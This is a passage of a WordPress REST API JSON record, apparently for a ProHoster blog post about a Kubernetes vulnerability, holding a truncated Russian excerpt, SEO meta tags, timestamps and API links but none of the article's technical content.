\u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439. \u041a\u0442\u043e \u043c\u044b \u0442\u0430\u043a\u0438\u0435 \u041c\u044b \u2014 \u0434\u0432\u0430 \u0444\u0440\u0430\u043d\u0446\u0443\u0437\u0441\u043a\u0438\u0445 [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":86624,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[688],"tags":[],"class_list":["post-86623","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-administrirovanie"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.0.1 - aioseo.com -->\n\t<meta name=\"description\" content=\"\u041f\u0440\u0438\u043c.\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Yuri Gagarin\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/prohoster.info\/it\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes\" \/>\n\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 5.0.0.1\" \/>\n\t\t<meta property=\"og:locale\" content=\"it_IT\" \/>\n\t\t<meta property=\"og:site_name\" content=\"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"\ud83e\udd47\u041a\u043e\u0433\u0434\u0430 \u0434\u0435\u043b\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Kubernetes\u2026 | ProHoster\" \/>\n\t\t<meta property=\"og:description\" content=\"\u041f\u0440\u0438\u043c.\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/prohoster.info\/it\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:width\" content=\"350\" \/>\n\t\t<meta property=\"og:image:height\" content=\"350\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2020-06-27T17:42:40+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2020-06-27T17:42:40+00:00\" \/>\n\t\t<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<meta property=\"article:author\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"\ud83e\udd47Quando non si tratta solo di una vulnerabilit\u00e0 in Kubernetes\u2026 | ProHoster","description":"Nota","canonical_url":"https:\/\/prohoster.info\/it\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"it_IT","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u041a\u043e\u0433\u0434\u0430 \u0434\u0435\u043b\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Kubernetes\u2026 | ProHoster","og:description":"\u041f\u0440\u0438\u043c.","og:url":"https:\/\/prohoster.info\/it\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2020-06-27T17:42:40+00:00","article:modified_time":"2020-06-27T17:42:40+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"86623","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-02-28 14:11:05","updated":"2022-09-28 21:18:58","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/it\/wp-json\/wp\/v2\/posts\/86623","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/it\/wp-json\/wp\/v2\/comments?post=86623"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/it\/wp-json\/wp\/v2\/posts\/86623\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/it\/wp-json\/wp\/v2\/media\/86624"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/it\/wp-json\/wp\/v2\/media?parent=86623"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/it\/wp-json\/wp\/v2\/categories?post=86623"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/it\/wp-json\/wp\/v2\/tags?post=86623"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}